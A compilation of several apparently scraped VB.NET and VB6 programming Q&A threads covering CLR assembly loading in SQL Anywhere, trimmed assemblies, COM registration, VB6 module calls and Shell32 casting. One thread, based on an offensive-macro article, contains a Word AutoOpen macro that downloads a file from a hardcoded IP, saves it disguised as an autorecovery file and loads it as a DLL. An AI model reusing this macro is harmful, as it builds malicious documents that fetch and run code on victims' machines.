How can SQLAnywhere's "external CLR" access a System Process - vb.net

In need of an extension in SQLAnywhere (16) to access some DOS functions on the server where the DB is running, I tried :
A first code for a DLL to be called from Sybase
________! SAExternal.vb !____________
Imports System.Diagnostics
Public Class SAExternal
Public Shared Function getDone()
Dim myProcess As Process = System.Diagnostics.Process.Start("notePad.exe", "C:\data\CLR\zTest.txt")
myProcess.WaitForExit()
myProcess.Close()
getDone = "OK"
End Function
End Class
compiled using :
vbc.exe /t:library /out:SAExt.dll SAExternal.vb
Follows some code to test my DLL
_________! SAMain.vb !______________
Module SAMain
Sub Main()
Dim obj as New SAExternal()
MsgBox("Test SAMain " & obj.getDone())
End Sub
End Module
compiled using : vbc.exe /t:winexe /r:SAExt.dll SAMain.vb
SAMain.exe opens correctly notepad.exe, waits until I close it, and comes with the message "Test SAMain OK"
In SQLAnywhere, I coded :
CREATE FUNCTION getDone()
RETURNS LONG VARCHAR
EXTERNAL NAME 'C:\data\CLR\SAExternal\SAExt.dll::SAExternal.getDone() string'
LANGUAGE CLR
Calling the function by "Select getDone()" returns an error :
"Impossible to load the file or assembly 'System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=........' or one of it's denpendencies..."
If I take out the Process part of the SAExternal module:
Public Class SAExternal
Public Shared Function getDone()
getDone = "OK"
End Function
End Class
my function gives me the correct answer ("OK")
For test purposes, I leaved all these files in the same directory as my Database file, including .vb and .dll .
I've searched the web for days to understand what I did wrong, and can't find what I missed.
Could somebody help me ?

try
CREATE FUNCTION getDone() RETURNS LONG VARCHAR
EXTERNAL NAME 'C:\data\CLR\SAExternal\SAExt.dll::SAExternal.getDone() *out* string'
LANGUAGE CLR
Please notice the addition of the out option before string

Related

Error message "Could not load type 'System.ComponentModel.AsyncCompletedEventArgs' "when running the published .exe

I've created a little VB.NET console application (using Visual Studio 2019 Commmunity Edition), that automatically downloads a file from the Internet.
The compiled .exe works just fine if I launch it from the Debug directory, inside my Project tree; it does not if I publish the application to a local folder; instead, I get the error message:
Could not load type 'System.ComponentModel.AsyncCompletedEventArgs' from assembly 'System.Net.WebHeaderCollection, Version=4.1.2.0,
Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
Here's the configuration I use to publish my app:
Apparently, this is the code generating the exception:
In Program Module:
Imports System
Imports Microsoft.VisualBasic
Imports Microsoft.Win32
Module Program
Sub Main(Args() As String)
(...)
End Sub
Sub Download_SpeedTest()
Dim ooklaWebSite As String
Dim html As String
ooklaWebSite = "https://www.speedtest.net/apps/cli"
Try
' Retrieve download link
Console.WriteLine("Getting download link from " & ooklaWebSite)
html = Get_WebPage(ooklaWebSite)
(...)
Catch ex As Exception
Console.WriteLine("An error occurred downloading SpeedTest utility. - " & ex.Message)
End Try
End Sub
In WebRequests Module:
Imports System.Net
Module WebRequests
Public Function Get_WebPage(WebURL As String) As String
Dim sourceString As String
Dim wc As New System.Net.WebClient
sourceString = wc.DownloadString(WebURL)
wc.Dispose()
Return sourceString
End Function
End Module
Here's an example of what I get when I run the published program from Windows Command Line:
Getting download link from https://www.speedtest.net/apps/cli
An error occurred downloading SpeedTest utility. - Could not load type 'System.ComponentModel.AsyncCompletedEventArgs' from assembly 'System.Net.WebHeaderCollection, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'.
As per I could see, the exception occurs as soon the function Get_WebPage is called (no code inside it is executed)
Any suggestion?
When you use Trim unused assemblies (in preview) it sometimes removes assemblies you actually need. You can either turn that off (bloating the file size) or for this particular error, you can add the following to your csproj file:
<ItemGroup>
<TrimmerRootAssembly Include="System.ComponentModel.EventBasedAsync" />
</ItemGroup>
This will make sure that System.ComponentModel.EventBasedAsync.dll (where System.ComponentModel.AsyncCompletedEventArgs is defined) is not trimmed from the final, self-contained binary.

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

VB.net Class Not Registered Error

I'm in the process of writing a VB application but whenever I run the application I get the error listed below:
"An error occurred creating the form. See Exception.InnerException for details. The error is: Retrieving the COM class factory for component with CLSID {11219420-1768-11D1-95BE-00609797EA4F} failed due to the following error: 80040154 Class not registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG))."
I have tried registering the shell32.dll file, I have looked in the registry for the entry {11219420-1768-11D1-95BE-00609797EA4F} but it does not exist, and I have tried compiling this application for x86.
Imports Shell32
Imports System.IO
Public Class frmIconChanger
Dim sh As ShellLinkObject = New ShellLinkObject
Private Sub btnBackupAndChange_Click(sender As Object, e As EventArgs) Handles btnBackupAndChange.Click
For Each desktopIcon In My.Computer.FileSystem.GetFiles("C:\Users\" + getUserName().ToString + "\Desktop")
Dim fileExtension As String = Path.GetExtension(desktopIcon)
If (fileExtension = ".lnk") Then
MsgBox(sh.GetIconLocation(desktopIcon).ToString)
End If
Next
End Sub
Private Function getUserName() As String
Return System.Environment.UserName.Trim
End Function
End Class
Other information: I am on a Windows 7 64-bit machine. I have .Net 4.0 and previous versions and am working in Visual Studio 2012. Also I have shell32.dll added as a reference in my project. Any help resolving this issue would be much appreciated.
Thanks.
Refer to this link Creating Links. Take a look at the "C" code and look for constants
CLSID_ShellLink
IID_IShellLink
Those are the values you need for the class and interface.
This other link is useful: IShellLink interface
This should be the GUIDs you need:
CLSID := "{00021401-0000-0000-C000-000000000046}"
IID := "{000214F9-0000-0000-C000-000000000046}"

VB6.0 call a Sub written in a BAS Module from a Class Module CLS not working

I am writing VB6.0 projects (DLL with COM+) starting from previously written code.
I have a "main" Class Module CLS file with "main" Functions, and the Process flow etc.
I have also a "side" Module BAS where I save all the Functions / Subroutines to use as tools in my "main" Class Module.
I have written a very very straightforward logging system (because I feel very unconfortable with App.LogEvent("blablabla") ) but I am not able to compile the DLL. The message points me to the CLS call and I think the problem is related to the Sub that should return a value, but I do not want to return any value from that Sub!
I am quite new to VB6.0 and improving existing source code it is quite difficult.
Here is my Module BAS
Public Sub LogMyApp(ByVal sFunctionName As String, ByVal sLogEntry As String)
Dim sLogPath As String
sLogPath = "C:\Temp\MyLog.txt"
Dim fn As Integer
fn = FreeFile
Open sLogPath For Append As #fn
Write #fn, Now & "|" & sFunctionName & "|" & sLogEntry
Close #fn
End Sub
Here is my Class Module CLS call to that Sub inside the BAS Module
LogMyApp ( "FunctionBlaBla" , "blablabla" )
Any help is really appreciated!
Thanks a lot!
Simple fix, remove the parens as you are not calling a function;
LogMyApp "FunctionBlaBla" , "blablabla"
(Or as purely a visual thing prefix with the Call keyword; call LogMyApp(...))

Typecast exception from ShellBrowserWindow object to ShellFolderView object

Looking for help trying to figure out why this typecast is not working on my machine.
This code was provided as an answer to another question I had and it's not working for me. It works for the answer poster on their machine, but I'm get a an exception on the line trying to typecast from ShellBrowserWindow to ShellFolderView.
I am using Visual Studio Express 2013, running on Windows 7 Pro X64 Sp1. The target framework for the project is .Net Framework 4. I've added references to Microsoft Internet Controls and Microsoft Shell Controls and Automation and I've added the Imports statements for Shell32 and SHDocVw. DLL versions are as follows: shell32.dll = 6.1.7601.18517 and shdocvw.dll = 6.1.7601.1822 I'm not sure what I could be missing.
The code looks like this. (This code is in a form object)
Imports EdmLib
Imports Shell32
Imports SHDocVw
Public Class BlankForm
Private Sub BlankForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Dim bar As String() = GetExplorerSelectedFiles()
Exit Sub
'The rest of my program is below this line - I'm just trying to test this one function right now...
End Sub
'Uses the windows shell to get the files selected in explorer
Public Function GetExplorerSelectedFiles() As String()
Dim ExplorerFiles As New List(Of String)
Dim exShell As New Shell32.Shell
Dim SFV As Shell32.ShellFolderView
For Each window As SHDocVw.ShellBrowserWindow In DirectCast(exShell.Windows, SHDocVw.IShellWindows)
If (window.Document).GetType.Name <> "HTMLDocumentClass" Then
SFV = CType(window.Document, ShellFolderView) '<--This is where it fails!!
For Each fi As FolderItem In SFV.SelectedItems
ExplorerFiles.Add(fi.Path)
Next
End If
Next
Return ExplorerFiles.ToArray
End Function
End Class
The line SFV = CType(window.Document, ShellFolderView) results in the following message:
An unhandled exception of type 'System.InvalidCastException' occurred
in LaunchTemplateEPDM.exe
Additional information: Unable to cast COM object of type
'System.__ComObject' to interface type 'Shell32.ShellFolderView'. This
operation failed because the QueryInterface call on the COM component
for the interface with IID '{29EC8E6C-46D3-411F-BAAA-611A6C9CAC66}'
failed due to the following error: No such interface supported
(Exception from HRESULT: 0x80004002 (E_NOINTERFACE)).
I've taken a screenshot of a quickwatch on the window object. A quickwatch on the window.document object shows an error saying it's either undefined or inaccessible.
I ran the query Microsoft.VisualBasic.Information.TypeName(window.document) and it returns "IShellFolderViewDual3".
I fixed it.
Not sure why this happens on my system and not yours.
What I found was that GetType.Name always just returns "System.__ComObject", regardless of whether the object is of type ShellFolderView, HTMLDocumentClass or something else. So what was happening was no matter what the actual type of the object was, it was passing the <>"HTMLDocumentClass" test because it was always evaluating to "System.__ComObject". Then when we tried to run the CType function on an object that didn't implement the ShellFolderView interface, it would throw that exception.
I eventually stumbled upon this article which led me to experiment with the TypeName Function which seems to return the actual type, and so I ended up with the working code below:
Public Function GetExplorerSelectedFiles() As String()
Dim ExplorerFiles As New List(Of String)
Dim exShell As New Shell32.Shell
For Each window As SHDocVw.ShellBrowserWindow In DirectCast(exShell.Windows, SHDocVw.IShellWindows)
If TypeName(window.Document) Like "IShellFolderViewDual*" Then
For Each fi As FolderItem In DirectCast(window.Document, ShellFolderView).SelectedItems
ExplorerFiles.Add(fi.Path)
Next
End If
Next
Return ExplorerFiles.ToArray
End Function